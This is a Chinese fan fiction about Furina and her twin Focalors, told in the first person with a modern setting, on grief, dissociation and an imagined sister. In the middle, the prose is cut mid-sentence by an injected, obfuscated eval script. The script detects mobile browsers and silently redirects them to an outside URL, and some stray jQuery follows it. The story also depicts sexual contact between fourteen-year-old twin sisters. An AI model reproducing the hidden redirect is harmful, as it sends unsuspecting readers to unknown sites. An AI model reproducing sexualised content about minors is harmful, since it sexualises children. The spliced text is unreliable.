*芙宁娜X芙卡洛斯，非原作向，现代背景，第一人称预警


    芙卡洛斯好像死了。一个人怎么可以好像死了？如果他活着，那就还没有死；如果他死了，作为一桩确凿无疑的事实，更谈不上“好像”。但这句话就是从喉咙里流出来了，很畅快地。声带很紧，想说的话都被医生的压舌板压下去，在胃里冒出一两个作呕的气泡。最后我只是徒劳地重复，芙卡洛斯好像死了。在昨夜。也许是前天。我不知道。每一个字都绵长地黏在牙齿上，我哆哆嗦嗦地往外吐，却徒劳无功，像在嚼一块陈年的口香糖。


    她的死太过突然，我来不及做出反应。我醒了，但可怕的梦仍影影绰绰地笼罩在房间里。狭小幽暗之地唯有我的呼吸沉重地起伏。汗液顺着脊背滑落，凉意一哄而上，但我仍神经质地抓着被子不肯挪开，仿佛一旦逃离热源，就会坠入冰窟。


    我试探地低声陈述：芙卡洛斯。


    无人回应。


    我撕心裂肺地呼唤：芙卡洛斯！


    然后我才恍然想起，芙卡洛斯死了。就在刚刚。梦中我们在森林里慌张地穿梭，不敢承认自己已经迷路。背后巨大的阴影迅捷地扑来，将我们笼罩其中，不得动弹。在我面前，芙卡洛斯迎向追捕我们的野兽，像冬日里迎向上冻台阶的热水，接触的瞬间汽化，扬起一阵局促绵软的水汽。待白雾簌簌落下，梦境戛然而止，我猛地翻身坐起，只有厚重窗帘下透出一线银白的光影，和我狼狈的喘气在逼仄的房间里回荡。


    可是芙卡洛斯毕竟还有可能活着。这不过是一个真实的梦。因此，充其量声称，芙卡洛斯好像死了。


    笃笃。歇了一阵，然后又是镇定的、不急不缓的两声。我知道是那维莱特在敲门。但身体一动不动。上下嘴唇也黏在一起，虽然只需一点轻微的力气就能挣脱，或者用两三滴无色无味的液体润滑一下，但我仍没有做出任何行动。


    床的另一半已经空了。我不敢转头，仿佛这样芙卡洛斯就仍好端端地睡在身边。可是手掌却不听使唤地探过去，轻柔地下压，缎面冰凉。我知道实际上一切都已经无可挽回地发生了。


    医院的消毒水气息刺鼻，我向来不喜，何况刚刚又进行了艰辛的谈话，逼迫我回忆不详的梦境。下楼下到一半时，我已看到那维莱特正端坐在冰冷的金属椅子上。他看向我。我不知所措地停住脚步，在楼梯中间。我不明白他为什么用那样的眼神看我。


    他得体礼貌地询问医生的意见和我昨夜的睡眠质量，我也尽可能敷衍含糊地回答。


    他沉默了一会儿，才向我确认，是否仍然坚持宣称杀死了自己的姐姐，名为芙卡洛斯的少女。


    当然。昨晚我再次企图杀死她。我并不是非常确定她是否还活着。但我知道，面对那只熊掌时，我躲到了她的身后——那维莱特先生，这也许是在谋杀。


    芙宁娜女士，容我提醒您，您之前也曾如此供述过，但执律庭并没有找到任何线索。而且，枫丹现行法律并不支持将梦境作为证据采信。


    证据，证据。一个人死了，你去查查这个人，自然会有很多证据，你为什么始终不肯相信呢？


    虽然我有充足的动机和确定的犯罪事实，但这位最高审判官大人迟迟不肯提起公诉，还总是为我延请医生。后来我终于明白，枫丹的法律体系不能审判我，从而放弃了对自己没有病症的单方面无力宣告，学会了简易包装。那维莱特再问起时，我会乖巧地回答说，啊，芙卡洛斯？我知道，那是我的幻想朋友。每个人都有幻想朋友，这是理所当然的事。但我这么说的时候，对方总是投来困惑的、轻蔑的、同情的、不屑一顾的眼神。


    就像现在这样。


    那维莱特慌张地垂下眼帘，建议我转学，或者出国，总之，换一个环境，也许对我的健康有益。好吧，好吧，我举手投降，我们到此为止吧，继续纠缠下去于你我无益。


    问题就在这里，芙宁娜女士。我们查阅了所有的档案，不得不非常遗憾地通知您，从来没有叫芙卡洛斯的人。我的确是在说，从来没有这样一个人存在过。也许您……是太寂寞了。


    很长一段时间里，我一直在琢磨那维莱特的话。人不是空气，不可能无色无味无形无声，除非时间已经冲垮了所有痕迹。但芙卡洛斯确确实实消失了。没有出生记录，没有学籍，没有档案，没有墓碑。但我记得她，她有着和我一模一样的脸庞，比我沉静一些，但一肚子坏水。她会在我回答问题的时候抽掉我的凳子，在我的蛋糕里藏一枚锃亮的银币，和我争抢唯一干净的玩偶。在孤儿院贫穷而紧张的狭窄房间里，我们的床与床之间只能艰难地插进四条滑溜溜的小腿。她会不客气地伸长胳膊，摊到我的床上。有时她会在那条缝隙里藏一些零食，尽管知道我并不会吃几口，也会捧到我的面前——多少赏光吃一点，我可是好不容易抢到的呢。


    我喜欢她。我讨厌她。我嫉妒她。我不愿叫她姐姐。芙卡洛斯。这个名字有一个清亮的元音，爆破以后迅速地黯淡下去，剩下沉闷冗长、缺乏激情的辅音在原地打转。而我的名字则沉痛地踩着飘渺的辅音，奏一两个有气无力的音阶，以至于最后结尾的元音也显得疲软孱弱，不情不愿地黏在前面的音节之后。


    我确信芙卡洛斯就是以这样的方式吮吸我的全部生命，从名字到味觉。我尝不出食物的好坏，因为我只能知晓苦的味道。但芙卡洛斯永远昂扬、永远快乐、永远甜蜜，她说世界是巨大的甜甜圈，目之所及的一切都撒满糖霜。我的舌尖一切皆苦，因此不爱进食，而她就这样蚕食掉我的激情、活力和爱恨。但我始终没有办法离开她；我太虚弱了。我只攫取一些必要的食物，用那一点儿可怜的热量支撑这具行尸走肉。


    曾经，我也试图开诚布公地同她谈谈。但谈什么，有什么好谈的呢？众所周知，双胞胎什么都要一模一样，摔跤要一样，甜点也要一样。即使知晓等待着的是痛楚与苦涩，我们也毫不犹豫地宣称，要一模一样的两份。


    我们曾经如此要好。


    但年岁日长，我逐渐明白我们之间不可逾越的鸿沟：只要芙卡洛斯存在一日，我就永无可能知晓糖果的真正滋味。因为她之甜蜜就是我之苦涩，她之健康就是我之病弱，她之快乐就是我之悲伤。因为我们是双胞胎姐妹。这是双生的诅咒。


    所以我想办法把我的姐姐喝掉了。一口，又一口，喉咙饮下了芙卡洛斯，像一杯白兰地烫伤了我的胃袋。这把火烧掉了过去的芙宁娜。


    自那以后，我疾病全消，茂盛地生长起来，一日胜过一日。


    你有没有听说过幻想朋友？


    面前的少女不知该如何接话——她大概没有想到转学生的开场白这么奇怪。情急之下她冲身边的朋友挤挤眼，对方却冷静地回答：“那应该是学前儿童会相信的故事。恕我直言，我们已经是高中生了。”


    我没有回答，径直走向自己的座位。我听到身后传来一声无奈的叹气，我知道她大抵是觉得她们搞砸了。


    我转到这所高中已经一周，独来独往，不怎么和别人交流。我知道关于我的各种流言已经四散开来，毕竟，全班最热心、人缘最好的娜维娅也铩羽而归。我们后来熟悉起来，是要归功于大小姐有一日突然宣布自己要离家出走，好让父亲明白，娜维娅不是温室里的花朵，娜维娅已经长大了。但这群高中生们对此一筹莫展，束手无策。是我告诉他们，十四岁是离家出走最好的年纪。在这之前太早，在这之后过晚。娜维娅，现在太迟了。


    不，我不觉得太迟。离家出走也要限制年纪？


    当然。我离家出走的时候就是十四岁。我的确成就了一番伟业。假如你十三岁时出门，就会因心智不熟而不解成年人的话术。假如你十五岁出门，就会因过于老成而错过少年人的世界。因此，十四岁，这是基本的门槛，也是最后的界限。


    他们都围过来，问我究竟成就了何种伟业。


    我说，最关键的除了年纪，还有一点：你必须拥有幻想朋友。


    十四岁，我独自离家出走，乘船看鲸。如果孤儿院的确算得上是家的话。那是值得怀念的十四岁，一个人一生只有一次的十四岁。淡季的塞洛海是一块灰色的绒毯，掩藏着无数肮脏尘螨。我站在甲板边缘，海风把我吹得肿胀。我对芙卡洛斯说，你一直不喜欢海，我知道。但我想要做的事情，就一定会想方设法地做到。


    芙卡洛斯如何回答，我已经忘了。即使你的生命短促到蝉鸣都未响过几轮，遗忘也不可避免。但这无伤大雅，不是每分每秒都值得铭记。我没有看到辽阔的海面、湛蓝的天空：雾霭把一切都笼罩进浓厚潮湿、密不透风的灰色中。出海的船仅此一艘，在午后的冬日之海上孤独地行走。云层最薄的地方挂着虚光的圆形，我知道那是萎靡的太阳。这个季节很难看到什么风景，船长说，我告诉过你。


    是的，当然。但这毕竟是海。即使是逼仄、模糊、寡淡的灰色大海。


    一只特立独行的水母不会介意海是什么颜色的，她需要的就只是咸水而已。她在淡水湖里挣扎了十四年，因为缺爱而几近干涸。看到海的一瞬间，我活过来了。我明白了之前我是干瘪的行尸走肉。


    爱是盐，芙卡洛斯说，可我不知道咸是怎么回事。大家都说和甜不太一样。但你知道，我吃什么都是甜的。我想知道，芙宁娜，我想知道盐是怎么回事。


    我也想知道。不要着急，芙卡洛斯。我们会知道的。


    与其说我出海是为了看鲸，不如说是为了看海。单纯看海浪漫过天际，看它跃起直到无色。我们站在船舷边看到日落。


    海有什么好看的。站在沙滩上，浪花不知疲倦地在礁石上撞得粉身碎骨，打出白色的泡沫，这就是海。为什么要乘船，到无边无际的海上呢？


    娜维娅打断这个问题说，不，我想问的是，爱怎么会是盐？爱应该是马卡龙才对。甜蜜的、无忧无虑的、会融化在心里的、温暖的……


    但爱是盐。我这么说，芙卡洛斯也这么说。你没有明白我和芙卡洛斯的特殊之处。你看，我吃什么都苦，而芙卡洛斯吃什么都甜。我没有在开玩笑。我们就这么过了十四年。十四年里我们没有见过海。那天，我们一见到海，一嗅到潮腥的海风就明白了：爱是盐。十四年来，我们干枯地站在世界中央，没有水，也没有盐。我们是从那时候开始明白，我们势不两立。因为爱不能分有，只能占有。我们不可能平分爱。


    在此之前，芙卡洛斯确信我得到了全部的爱，我确信芙卡洛斯得到了全部的爱。在此之后，我和芙卡洛斯都是赤裸地在阳光下暴晒的水母，跋涉千里万里只为回到海洋。我们曾以为我们那么要好，因此一切都要一模一样；现在，我们终于懂得，那是因为我们如此深切地嫉妒对方，误以为对方得到了全部的爱。但实际上我们什么也没有。甚至我们此刻拥有的，也只是一角烟灰的、黯淡的、死气沉沉的海。我们在船舱里互相追逐、撕咬、吞咽，我们知道了不该在十四岁知道的事情，我们凭自己的力量冲出了自己的地狱。那一刻我们无比感谢对方的存在，因为单凭一个芙卡洛斯或芙宁娜，是不可能走出来的。


    她的□□和我的一样，贫瘠地贴在胸膛之上。她的眼珠泡在海雾里，倒映出明灭的星星。我们随着海浪悠悠地荡漾，干瘪的身体开始注入水分，逐渐丰盈完满，我们彼此揉搓对方的肌肤，它变白了，白得透明。半夜，海上的骤雨一片一片打了下来，呼吸都带着惨烈的白气，我们只能依靠彼此的体温取暖。我们找不到一线可以攫取的光藏进自己的躯体，因此只能喘息着，摸索着，寻找着，直到对方的痉挛暂且停歇，直到带着寒意的鼻息吹过耳廓。


    在那时我就知道，我们在揠苗助长。一个按部就班的孩子不该在十四岁知道□□的触感，不该知道双生姐姐的脖颈的弧度。但我们太迷茫了。我们没有父母，只有彼此。我们是彼此的父亲、母亲、太阳、月亮、星星和海。在长达十四年的时间里，我们一直垂死。


    雨歇云收之际，我感到自己的欲望像终于等来春雨、蛰伏十四载的秧苗一样疯狂地生长起来。它没有随着雨的停息而停息，恰恰相反，它张大了嘴巴吁求更多。不够，远远不够。他乡的月亮升上来了，我仔细端详着芙卡洛斯的脸，她整张脸都被月光漂白了。她正在凋败。我在她的瞳孔里看到了腐烂到一半的自己。我知道一切都已不可挽回地发生了：关于我们的生存、抢夺和战争。


    但我怎么可能争得过芙卡洛斯呢？从小到大，她都更加健康、美丽和自信。我想从她的身上退下去，而她抓住了我的小腿。她的手是温热的，细腻的触感让我打了个寒噤。一片狼藉。我才恍然从潦倒的境况中醒来，我用目光切割眼前这个赤条条的身形，她从骨骼到骨骼上贴附的肌肉走向都与我一模一样。她并没有因为比我多摄入营养而比我健壮。事实上我们一直是饥渴的，因为我们不知道如何去爱，也不知道如何被爱。我们就这样饥渴了十四年。这简直是个笑话。


    如果我们有充足的时间，我们就能在废墟中重新孕育、诞生、成长一遍。那时我们就会是两个独立而丰润的个体。但时间不愿等我们。时间太吝啬也太廉价了。如果我们出不起更高的价格，就不可能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099049|163753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挽留它。而在这个商店里，一切都明码标价。芙卡洛斯喃喃道，喝掉我吧。如果我们中只有一个人能活下去，我希望那是你。


    可我不明白。如果爱是盐，那生是什么，死又是什么。如果我们原来从不曾爱过，那现在这样又算什么。


    来不及了。我们明白得太迟了。总是太迟。明天就是我们的十五岁生日，你必须在黎明到来之前把我喝掉。否则我们都会死。


    太快了，芙卡洛斯。关于死亡和爱情，我尚且一无所知。


    我知道，我知道。但只要你把我喝掉，你就有一生的时间去追寻答案。所以不要犹豫，把我喝掉吧。


    芙卡洛斯几乎是恳求地看着我。我移开了自己的目光，像在移开一尾被刮去了鳞片的鱼，换上另一条待宰的猎物。


    我看到她眼中倒映的月亮坠落了。


    在那一夜，在我十四岁的最后一夜，我流着泪把我的姐姐喝掉了。也是在那一夜，上帝死了。那从不曾给予我爱的上帝死了。于是再无人审判我，也再无人赦免我。


    起先我并没有察觉这一事实。我从船上下来，不知道去哪。我想起我们过来时，有一道长长的坡道。我们是在坡底租的船。而在遥远的顶上，有一家小小的便利店。我们站在门口吃了两根雪糕才决定就顺着这里下去，搭乘遇到的第一艘船。那种苦味好像还没有被我完全消化，又顺着食道翻腾上来，在口腔里弥漫。


    我蹒跚着爬上去，买了一根一模一样的雪糕。现在只需要一根就好。我咬下去，一股甜腻的味道在口腔里爆开。我来不及思索就吃了第二口。从来没有品尝过的味道。那一刻我无师自通地明白了这就是甜。芙卡洛斯那么喜欢这种味道，的确是有理由的。


    现在我知道了甜。立刻，我就顿悟了一切。我连滚带爬地奔下坡道，气喘吁吁地跑到海边，掬起一捧海水，不顾它疯狂地从我的指缝间逃跑，驱使我的舌头追赶着零星的水滴，把它们卷进口中，那是一种奇异的、带着无机感的钢铁的味道，像在舔着船舷边一块脱胶的栏杆，露出斑驳锈红的内里。我知道芙卡洛斯的确是死了。


    就在娜维娅问出那个问题的一刹，我突然记起了这一切。那个被我遗忘的生命最重要的一夜，终于又被翻找了出来。但这些我无法宣之于口。我怎么跟一群天真烂漫的高中生说，我把我的姐姐喝掉了？我只能顺着娜维娅的话说，也许是吧，也许爱是马卡龙。但对我来说，爱就是盐。


    打扰一下，门口有人伸长了脖子喊，有位先生来找芙宁娜。


    我站起来说，那么暂且告辞了，下次再聊我看到的鲸鱼。它们很美。


    但我其实根本没有看到过什么鲸鱼。灰海里翻滚着见不得人的欲望，根本容不下如此纯洁的生物。


    好久不见，那维莱特先生。感谢你的建议，我觉得在这里我重获新生。抢在他开口之前，我笑意盈盈地做足了表面功夫。


    如果确实帮到了你，我很高兴。他客气地俯身行礼。本来也无意来打扰你，不过，之前的医生给我发来了最终的诊断和出院报告，我想你可能需要这个。


    什么诊断。我说着，努力控制着笑容不要褪色。


    人格解离。解离性身份识别障碍。


    我不明白。或许你可以放弃这些拗口的医学名词，采用一些更简单通俗的表达方式。


    你可以理解为，一个身体里住着不止一个灵魂。但最初，你的身体里的确只有一个灵魂，那就是你，芙宁娜。另一个灵魂是你分裂出来的。所以，在现实意义上，从来不曾有过拥有肉身的芙卡洛斯。


    我想我应当感谢你——枫丹不曾有过芙卡洛斯，这无疑是个好消息。如果她从来不曾存在过，那就从来不曾死去。


    ……我很抱歉……


    不，我很感谢你。自始至终，你都没有因芙卡洛斯只是臆想而对我的案件敷衍了事。你的确对所有人都抱有同等的、甚至超额的尊重。


    我来是想问问你，是否需要接受一些系统的治疗？我们的医生会找出一个核心人格，让人格逐渐合并。


    不，谢谢。如果你相信我说的一切，就该明白，我已经痊愈了。我……已经永远失去了我的幻想朋友。所以，我已经长大了。


    那么，我就结案了。


    谢谢。我礼貌地与他道别，回到了教室里。


    娜维娅说，放学了，要一起回家吗？我想听你谈谈鲸鱼。


    很抱歉，我说，接下来我要去的地方不是一个十六岁的高中生应该去的地方。我背上包，转身出了门。我听到背后有人在说，难道她不是十六岁的高中生？是的，但很抱歉，我真希望我不是一个十六岁的高中生。


    我穿过瓦萨里回廊，拐进无名的小巷，钻进六个搬运工酒吧。我不去那些有名的酒馆，比如“破釜”和“莎士比亚”之类。那种地方人太多了，不能安静地啜饮白兰地。酒精是个好东西，尽管它里面没有盐。只有喝酒的时候，有关芙卡洛斯的记忆才会变得清晰。芙卡洛斯死后的第三百六十五天，我终于做了有关她的第一个梦，梦里我抽掉了她脚下的木板，那时我们正在离海面三百米的高空中摇晃。于是她笔直地坠落下去，像一只失重的鸟。到我报案为止，芙卡洛斯已在我眼前死去千遍万遍。在死亡录像一遍遍的洗礼后，我遗忘了她如何在我面前死去，她为何死去。也许这的确如她所愿。但这毕竟不合我的意愿。于是我报了案，棘手的案情层层递交，最终站在我面前的是最高审判官那维莱特先生。再然后我进了医院，试图剥离那些寄生的赘瘤。


    最后我还是想起了那荒唐的一夜。


    白兰地辣得割破了喉咙，我的眼泪不受控制地奔涌而出。酒保担心地探头问我，要不要换一些酒精度数更低的，比如果酒之类的。我摇摇头说，不了，这是我们努力了十四年的结果。你明白吗，我的心如久雨催涨的大河，这样一杯酒，装在透明的酒杯里，被冰块镇着的酒倒进去，只能激起一圈涟漪。他不明所以地回过头去，没有追问——他毕竟见多了发酒疯的客人。我大抵是醉了。


    芙卡洛斯，她是我一人的救世主。上帝在千万年前就已经死了。留下来的不过是一个幻影。一个一厢情愿的传闻。那个夜晚，上帝俯身向我坠落，将全身向我打开，把自己的灵与肉都祭献给了我。


    我付了账，将零钱塞进钱包。那张学生证上的我笑得很标准，工业流水线加工的笑容。旁边印着名字，芙卡洛斯·德·枫丹。也许今后应当改为芙宁娜·德·枫丹才更恰当，但我并不准备这么做。


    关于爱情和死亡，我终究无话可说。